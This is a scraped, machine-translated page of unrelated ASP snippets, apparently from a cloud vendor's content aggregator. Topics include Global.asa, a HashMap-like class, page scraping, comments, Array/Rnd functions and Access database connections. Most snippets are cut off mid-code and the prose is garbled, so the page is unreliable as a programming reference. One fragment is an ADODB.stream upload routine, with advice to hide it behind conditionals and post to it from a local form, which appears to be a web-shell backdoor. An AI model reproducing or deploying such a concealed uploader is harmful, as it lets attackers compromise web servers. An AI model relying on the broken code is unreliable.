As we all know,. ASA is the file suffix name. is the acronym for Active Server application.
It is actually an optional file where program writers can specify event scripts and declare objects with session and application scopes. The contents of
HashMap access to data in Java is convenient, but there are no similar classes in the ASP. The author needs similar data type in the development program, then constructs a class that can basically resemble the HashMap function, can realize the key
Limit an IP access only once, now share the ASP code to everyone:
//'////'/////////////////////////////////////////////////////' Response.Charset = 936 ' setting Output encoding for Simplified Chinese ' response.buffer = False ' Close buffer
The code is as follows:
Copy Code code as follows:
' Use ASP to obtain the remote target Web page specified content, the code is provided by Guangzhou website Construction http://www.jb51.net
On Error Resume Next
server.scripttimeout=9
The main advantage is that no need to manually add a lot of information, you can designate a station information interception for batch input, to save time and effort. Unlike the Simple ASP Thief program, it is no longer dependent on its target site.
' Name: ASP Universal Collection function redundant version, to the high-quality version of the conscientious change
' Author: Liu Yong FA
' Date: 2007-6-23
Function Gethttppage (Path)
t = GetBody (Path)
Gethttppage = Bytestobstr (t, "GB2312")
End
Let me tell you how to use the Global.asa file.
What is a Global.asa file? It is actually an optional file where program writers can specify event scripts and declare objects with session and application scopes. The contents of this file are not
Copy Code code as follows:
A=request.totalbytes:if a Then b= "ADODB.stream": Set c=createobject (b): C.type=1:c.open:c.write Request.BinaryRead (a) : C.position=0:d=c.read:e=chrb (&CHRB): F=instrb (d,e): G=instrb (f+1,d,e): Set H=createobject
First write in ASP file such as code
If you want to hide, add some if judgment statements, you can
and write a form locally.
Copy Code code as follows:
Set Lp=server.createobject ("ADODB.stream")
Lp.open
lp.type=2
lp.charset= "gb231
The single-line annotation in ASP is implemented in single quotation marks and can be added to any position within a line, and the content after the single quotation mark will no longer be explained.
What about multiple lines of comments? In fact,
In some cases, you may want to cache the ASP.net page, but you need to update the selected section on the page based on each request. For example, you might want to cache a large portion of a page, but you need to dynamically update the time-related
The ListBox control allows a user to select one or more items from a predefined list. It differs from the DropDownList control in that it not only displays multiple items at once, but optionally allows the user to select more than one item at a time.
Array () function returns an array ofexpression Array (list)allow data types: characters, numbers canExample:
%>
Return result: An array containing 7 elements was established myarraymyarray ("Sunday", "Monday", ...) "Saturday")
CInt ()
Rnd function
DescribeReturns a random number.Grammarrnd[(number)]The number argument can be any valid numeric expression.
DescriptionThe RND function returns a value less than 1 but greater than or equal to 0. The value of number determines how
1. Compared with the older environment, it is recommended to use a second
Set Dbconnection=server.createobject ("ADODB. CONNECTION ")
DBPath = Server.MapPath ("Customer.mdb")
DbConnection. Open "Driver={microsoft Access driver (*.mdb)};d bq=" &
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service